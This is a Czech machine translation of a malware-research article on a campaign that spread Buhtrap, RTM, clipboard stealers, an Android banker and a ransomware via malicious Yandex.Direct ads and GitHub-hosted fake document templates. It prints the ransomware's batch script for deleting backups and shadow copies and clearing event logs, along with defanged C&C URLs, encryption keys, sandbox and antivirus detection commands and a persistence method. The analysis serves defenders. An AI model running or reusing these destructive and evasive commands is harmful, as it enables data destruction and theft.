Backdoor a šifrovač Buhtrap byly distribuovány pomocí Yandex.Direct

Chcete-li cílit na účetní při kybernetickém útoku, můžete použít pracovní dokumenty, které hledají online. To je zhruba to, co v posledních několika měsících dělala kybernetická skupina, která šíří známá zadní vrátka. Buhtrap и RTM, stejně jako šifrovače a software pro krádeže kryptoměn. Většina cílů se nachází v Rusku. Útok byl proveden umístěním škodlivé reklamy na Yandex.Direct. Potenciální oběti byly přesměrovány na webovou stránku, kde byly požádány o stažení škodlivého souboru maskovaného jako šablona dokumentu. Yandex po našem varování odstranil škodlivou reklamu.

Buhtrapův zdrojový kód byl v minulosti unikl online, takže jej může použít kdokoli. Nemáme žádné informace o dostupnosti RTM kódu.

V tomto příspěvku vám řekneme, jak útočníci distribuovali malware pomocí Yandex.Direct a hostili jej na GitHubu. Příspěvek bude zakončen technickou analýzou malwaru.

Backdoor a šifrovač Buhtrap byly distribuovány pomocí Yandex.Direct

Buhtrap a RTM jsou zpět v podnikání

Mechanismus šíření a oběti

Různé užitečné zatížení doručené obětem sdílí společný mechanismus šíření. Všechny škodlivé soubory vytvořené útočníky byly umístěny do dvou různých úložišť GitHub.

Úložiště obvykle obsahovalo jeden škodlivý soubor ke stažení, který se často měnil. Protože GitHub umožňuje zobrazit historii změn v úložišti, můžeme vidět, jaký malware byl během určitého období distribuován. K přesvědčení oběti, aby si stáhla škodlivý soubor, byla použita webová stránka blanki-shabloni24[.]ru, znázorněná na obrázku výše.

Design stránek a všechny názvy škodlivých souborů sledují jednotný koncept – formuláře, šablony, smlouvy, vzorky atd. Vzhledem k tomu, že software Buhtrap a RTM byl již v minulosti použit při útocích na účetní, předpokládali jsme, že strategie v nové kampani je stejná. Jedinou otázkou je, jak se oběť dostala na web útočníků.

Infekce

Minimálně několik potenciálních obětí, které skončily na tomto webu, přilákala škodlivá reklama. Níže je uveden příklad adresy URL:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

Jak můžete vidět z odkazu, banner byl umístěn na legitimním účetním fóru bb.f2[.]kz. Je důležité poznamenat, že bannery se objevily na různých stránkách, všechny měly stejné ID kampaně (blanki_rsya) a většinou se týkaly účetních nebo právních asistenčních služeb. Adresa URL ukazuje, že potenciální oběť použila požadavek „stáhnout formulář faktury“, což podporuje naši hypotézu o cílených útocích. Níže jsou uvedeny stránky, na kterých se bannery objevily, a odpovídající vyhledávací dotazy.

  • stáhnout formulář faktury – bb.f2[.]kz
  • vzor smlouvy - Ipopen[.]ru
  • vzor stížnosti aplikace - 77metrov[.]ru
  • formulář dohody - blank-dogovor-kupli-prodazhi[.]ru
  • vzor soudního návrhu - zen.yandex[.]ru
  • vzor stížnost - yurday[.]ru
  • vzorové formuláře smlouvy – Regforum[.]ru
  • formulář smlouvy – assistentus[.]ru
  • vzor smlouvy o bytě – ​​náprava[.]com
  • vzory právních smluv - avito[.]ru

Stránka blanki-shabloni24[.]ru mohla být nakonfigurována tak, aby prošla jednoduchým vizuálním hodnocením. Reklama, která odkazuje na profesionálně vypadající web s odkazem na GitHub, obvykle nevypadá jako něco zjevně špatného. Kromě toho útočníci nahrávali škodlivé soubory do úložiště pouze po omezenou dobu, pravděpodobně během kampaně. Většinu času obsahovalo úložiště GitHub prázdný archiv zip nebo prázdný soubor EXE. Útočníci tak mohli prostřednictvím Yandex.Direct distribuovat reklamu na stránky, které s největší pravděpodobností navštívili účetní, kteří přišli v reakci na konkrétní vyhledávací dotazy.

Dále se podívejme na různé takto rozložené užitečné zatížení.

Analýza užitečného zatížení

Chronologie distribuce

Škodlivá kampaň začala na konci října 2018 a je aktivní v době psaní tohoto článku. Vzhledem k tomu, že celé úložiště bylo veřejně dostupné na GitHubu, sestavili jsme přesnou časovou osu distribuce šesti různých rodin malwaru (viz obrázek níže). Přidali jsme řádek ukazující, kdy byl odkaz na banner objeven, měřeno telemetrií ESET, pro srovnání s historií git. Jak vidíte, dobře to koreluje s dostupností užitečného zatížení na GitHubu. Nesrovnalost na konci února lze vysvětlit tím, že jsme neměli část historie změn, protože úložiště bylo z GitHubu odstraněno dříve, než jsme jej mohli získat celý.

Backdoor a šifrovač Buhtrap byly distribuovány pomocí Yandex.Direct
Obrázek 1. Chronologie distribuce malwaru.

Certifikáty pro podepisování kódu

Kampaň používala několik certifikátů. Některé byly podepsány více než jednou rodinou malwaru, což dále naznačuje, že různé vzorky patřily do stejné kampaně. Navzdory dostupnosti soukromého klíče operátoři binární soubory systematicky nepodepisovali a nepoužívali klíč pro všechny vzorky. Koncem února 2019 začali útočníci vytvářet neplatné podpisy pomocí certifikátu vlastněného společností Google, ke kterému neměli soukromý klíč.

Všechny certifikáty zapojené do kampaně a skupiny malwaru, které podepisují, jsou uvedeny v tabulce níže.

Backdoor a šifrovač Buhtrap byly distribuovány pomocí Yandex.Direct

Tyto certifikáty pro podepisování kódu jsme také použili k navázání spojení s jinými rodinami malwaru. U většiny certifikátů jsme nenašli vzorky, které by nebyly distribuovány prostřednictvím úložiště GitHub. Certifikát TOV „MARIYA“ však byl použit k podepsání malwaru patřícího do botnetu Wauchos, adware a těžaři. Je nepravděpodobné, že tento malware souvisí s touto kampaní. S největší pravděpodobností byl certifikát zakoupen na darknetu.

Win32/Filecoder.Buhtrap

První komponentou, která nás zaujala, byl nově objevený Win32/Filecoder.Buhtrap. Toto je binární soubor Delphi, který je někdy zabalen. To bylo distribuováno hlavně v únoru až březnu 2019. Chová se, jak se na ransomwarový program sluší – prohledává místní disky a síťové složky a zašifruje zjištěné soubory. Ke kompromitaci nepotřebuje internetové připojení, protože nekontaktuje server za účelem zaslání šifrovacích klíčů. Místo toho přidá na konec zprávy o výkupném „token“ a ke kontaktování operátorů navrhuje použít e-mail nebo Bitmessage.

Aby bylo možné zašifrovat co nejvíce citlivých zdrojů, spouští Filecoder.Buhtrap vlákno určené k vypnutí klíčového softwaru, který může mít otevřené ovladače souborů obsahující cenné informace, které by mohly narušovat šifrování. Cílovými procesy jsou především systémy pro správu databází (DBMS). Filecoder.Buhtrap navíc maže soubory protokolu a zálohy, aby byla obnova dat obtížná. Chcete-li to provést, spusťte níže uvedený dávkový skript.

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled

Filecoder.Buhtrap používá legitimní online službu IP Logger navrženou ke shromažďování informací o návštěvnících webových stránek. To je určeno ke sledování obětí ransomwaru, za což odpovídá příkazový řádek:

mshta.exe "javascript:document.write('');"

Soubory pro šifrování jsou vybrány, pokud neodpovídají třem seznamům vyloučení. Za prvé, soubory s následujícími příponami nejsou šifrovány: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys a .netopýr. Za druhé jsou vyloučeny všechny soubory, jejichž úplná cesta obsahuje řetězce adresářů z níže uvedeného seznamu.

.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel

Za třetí, některé názvy souborů jsou také vyloučeny z šifrování, mezi nimi název souboru zprávy o výkupném. Seznam je uveden níže. Je zřejmé, že všechny tyto výjimky jsou určeny k udržení stroje v chodu, ale s minimální pojízdností.

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe

Schéma šifrování souborů

Po spuštění malware vygeneruje 512bitový pár klíčů RSA. Soukromý exponent (d) a modul (n) jsou poté zašifrovány pevně zakódovaným 2048bitovým veřejným klíčem (veřejný exponent a modul), sbalené zlib a zakódované base64. Kód odpovědný za to je znázorněn na obrázku 2.

Backdoor a šifrovač Buhtrap byly distribuovány pomocí Yandex.Direct
Obrázek 2. Výsledek dekompilace Hex-Rays procesu generování 512bitového páru klíčů RSA.

Níže je uveden příklad prostého textu s vygenerovaným soukromým klíčem, což je token připojený ke zprávě o výkupném.

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

Veřejný klíč útočníků je uveden níže.

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD

Soubory jsou šifrovány pomocí AES-128-CBC s 256bitovým klíčem. Pro každý zašifrovaný soubor se vygeneruje nový klíč a nový inicializační vektor. Informace o klíči jsou přidány na konec zašifrovaného souboru. Podívejme se na formát zašifrovaného souboru.
Šifrované soubory mají následující záhlaví:

Backdoor a šifrovač Buhtrap byly distribuovány pomocí Yandex.Direct

Data zdrojového souboru s přidáním magické hodnoty VEGA jsou zašifrována na prvních 0x5000 bajtů. Všechny dešifrovací informace jsou připojeny k souboru s následující strukturou:

Backdoor a šifrovač Buhtrap byly distribuovány pomocí Yandex.Direct

- Značka velikosti souboru obsahuje značku udávající, zda je soubor větší než 0x5000 bajtů
— Blob klíče AES = ZlibCompress(RSAEncrypt(klíč AES + IV, veřejný klíč vygenerovaného páru klíčů RSA))
- Blob klíče RSA = ZlibCompress(RSAEncrypt (vygenerovaný soukromý klíč RSA, pevně zakódovaný veřejný klíč RSA))

Win32/ClipBanker

Win32/ClipBanker je komponenta, která byla distribuována přerušovaně od konce října do začátku prosince 2018. Jeho úlohou je sledovat obsah schránky, hledá adresy kryptoměnových peněženek. Po určení cílové adresy peněženky ji ClipBanker nahradí adresou, o které se předpokládá, že patří operátorům. Vzorky, které jsme zkoumali, nebyly ani zabalené, ani zamlžené. Jediným mechanismem používaným k maskování chování je šifrování řetězců. Adresy peněženky operátora jsou šifrovány pomocí RC4. Cílové kryptoměny jsou Bitcoin, Bitcoin cash, Dogecoin, Ethereum a Ripple.

Během období, kdy se malware šířil do bitcoinových peněženek útočníků, byla do VTS odeslána malá částka, což zpochybňuje úspěch kampaně. Navíc neexistuje žádný důkaz, který by naznačoval, že tyto transakce vůbec s ClipBanker souvisely.

Win32/RTM

Komponenta Win32/RTM byla distribuována několik dní na začátku března 2019. RTM je trojský bankéř napsaný v Delphi, zaměřený na vzdálené bankovní systémy. V roce 2017 výzkumníci ESET publikovali podrobná analýza tohoto programu je popis stále relevantní. V lednu 2019 také vydala Palo Alto Networks blogový příspěvek o RTM.

Buhtrap Loader

Po nějakou dobu byl na GitHubu k dispozici downloader, který nebyl podobný předchozím nástrojům Buhtrap. Otočí se k https://94.100.18[.]67/RSS.php?<some_id> pro získání další fáze a načte ji přímo do paměti. Můžeme rozlišit dvě chování kódu druhé fáze. V první URL prošel RSS.php přímo backdoor Buhtrap – tento backdoor je velmi podobný tomu, který byl k dispozici po úniku zdrojového kódu.

Zajímavé je, že vidíme několik kampaní se zadními vrátky Buhtrap a údajně je provozují různí operátoři. V tomto případě je hlavní rozdíl v tom, že backdoor je načten přímo do paměti a nepoužívá obvyklé schéma s procesem nasazení DLL, o kterém jsme mluvili předtím. Operátoři navíc změnili klíč RC4 používaný k šifrování síťového provozu na server C&C. Ve většině kampaní, které jsme viděli, se operátoři neobtěžovali změnou tohoto klíče.

Druhé, složitější chování bylo, že URL RSS.php byla předána jinému zavaděči. Implementoval určité zmatky, jako je opětovné sestavení dynamické importní tabulky. Účelem bootloaderu je kontaktovat server C&C msiofficeupd[.]com/api/F27F84EDA4D13B15/2, odešlete protokoly a počkejte na odpověď. Zpracuje odpověď jako blob, načte ji do paměti a provede ji. Užitná zátěž, kterou jsme viděli při provádění tohoto nakladače, byla stejná zadní vrátka Buhtrap, ale mohou tam být i jiné komponenty.

Android/Spy.Banker

Zajímavé je, že v úložišti GitHub byla nalezena i komponenta pro Android. V hlavní pobočce byl pouze jeden den - 1. Kromě zveřejnění na GitHubu nenalezla telemetrie ESET žádné důkazy o distribuci tohoto malwaru.

Komponenta byla hostována jako balíček aplikací pro Android (APK). Je to silně zamlžené. Škodlivé chování je skryto v zašifrovaném JAR umístěném v APK. Je šifrován pomocí RC4 pomocí tohoto klíče:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]

K šifrování řetězců se používá stejný klíč a algoritmus. JAR se nachází v APK_ROOT + image/files. První 4 bajty souboru obsahují délku zašifrovaného JAR, která začíná bezprostředně za polem délky.

Po dešifrování souboru jsme zjistili, že to byl dříve Anubis zdokumentováno bankéř pro Android. Malware má následující vlastnosti:

  • mikrofonní záznam
  • pořizování snímků obrazovky
  • získání GPS souřadnic
  • keylogger
  • šifrování dat zařízení a požadavek na výkupné
  • spamování

Zajímavé je, že bankéř použil Twitter jako záložní komunikační kanál k získání dalšího C&C serveru. Vzorek, který jsme analyzovali, používal účet @JonesTrader, ale v době analýzy byl již zablokován.

Bankéř obsahuje seznam cílových aplikací na zařízení Android. Je delší než seznam získaný ve studii Sophos. Seznam obsahuje mnoho bankovních aplikací, online nákupní programy jako Amazon a eBay a kryptoměnové služby.

MSIL/ClipBanker.IH

Poslední komponentou distribuovanou v rámci této kampaně byl spustitelný soubor .NET Windows, který se objevil v březnu 2019. Většina studovaných verzí byla zabalena s ConfuserEx v1.0.0. Stejně jako ClipBanker používá tato komponenta schránku. Jeho cílem je široká škála kryptoměn a také nabídky na Steamu. Kromě toho používá službu IP Logger ke krádeži bitcoinového soukromého klíče WIF.

Ochranné mechanismy
Kromě výhod, které ConfuserEx poskytuje v prevenci ladění, dumpingu a neoprávněné manipulace, komponenta zahrnuje schopnost detekovat antivirové produkty a virtuální stroje.

K ověření, že běží na virtuálním počítači, používá malware vestavěný příkazový řádek Windows WMI (WMIC) k vyžádání informací o systému BIOS, konkrétně:

wmic bios

Poté program analyzuje výstup příkazu a hledá klíčová slova: VBOX, VirtualBox, XEN, qemu, bochs, VM.

K detekci antivirových produktů odešle malware požadavek Windows Management Instrumentation (WMI) do Centra zabezpečení systému Windows pomocí ManagementObjectSearcher API, jak je uvedeno níže. Po dekódování z base64 hovor vypadá takto:

ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')

Backdoor a šifrovač Buhtrap byly distribuovány pomocí Yandex.Direct
Obrázek 3. Proces identifikace antivirových produktů.

Malware navíc kontroluje, zda CryptoClipWatcher, nástroj na ochranu před útoky ze schránky, a pokud je spuštěn, pozastaví všechna vlákna v tomto procesu, čímž deaktivuje ochranu.

Vytrvalost

Verze malwaru, kterou jsme studovali, se zkopíruje %APPDATA%googleupdater.exe a nastaví atribut „hidden“ pro adresář google. Pak změní hodnotu SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell v registru Windows a přidá cestu updater.exe. Tímto způsobem bude malware spuštěn pokaždé, když se uživatel přihlásí.

Škodlivé chování

Stejně jako ClipBanker, malware sleduje obsah schránky a hledá adresy kryptoměnových peněženek, a když je najde, nahradí je jednou z adres operátora. Níže je uveden seznam cílových adres podle toho, co se nachází v kódu.

BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

Pro každý typ adresy existuje odpovídající regulární výraz. Hodnota STEAM_URL se používá k útoku na systém Steam, jak lze vidět z regulárního výrazu, který se používá k definování ve vyrovnávací paměti:

b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b

Exfiltrační kanál

Kromě nahrazení adres ve vyrovnávací paměti se malware zaměřuje na soukromé klíče WIF bitcoinových, bitcoinových Core a Electrum bitcoinových peněženek. Program používá plogger.org jako exfiltrační kanál k získání soukromého klíče WIF. Za tímto účelem přidávají operátoři do HTTP hlavičky User-Agent data soukromého klíče, jak je znázorněno níže.

Backdoor a šifrovač Buhtrap byly distribuovány pomocí Yandex.Direct
Obrázek 4. Konzola IP Logger s výstupními daty.

Operátoři nepoužívali iplogger.org k exfiltraci peněženek. Pravděpodobně se uchýlili k jiné metodě kvůli limitu 255 znaků v poli User-Agentzobrazené ve webovém rozhraní IP Loggeru. Ve vzorcích, které jsme studovali, byl druhý výstupní server uložen v proměnné prostředí DiscordWebHook. Tato proměnná prostředí překvapivě není nikde v kódu přiřazena. To naznačuje, že malware je stále ve vývoji a proměnná je přiřazena k testovacímu stroji operátora.

Existuje další známka toho, že program je ve vývoji. Binární soubor obsahuje dvě adresy URL iplogger.org a obě jsou dotazovány při exfiltraci dat. V požadavku na jednu z těchto adres URL je před hodnotou v poli Referer „DEV /“. Našli jsme také verzi, která nebyla zabalena pomocí ConfuserEx, příjemce této adresy URL se jmenuje DevFeedbackUrl. Na základě názvu proměnné prostředí se domníváme, že operátoři plánují využít legitimní službu Discord a její systém pro odposlech na webu ke krádeži kryptoměnových peněženek.

Závěr

Tato kampaň je příkladem využití legitimních reklamních služeb při kybernetických útocích. Schéma se zaměřuje na ruské organizace, ale nepřekvapilo by nás, kdyby takový útok byl svědkem neruských služeb. Aby se uživatelé vyhnuli kompromisům, musí si být jisti pověstí zdroje stahovaného softwaru.

Kompletní seznam indikátorů kompromisu a atributů MITER ATT&CK je dostupný na odkaz.

Zdroj: www.habr.com

Přidat komentář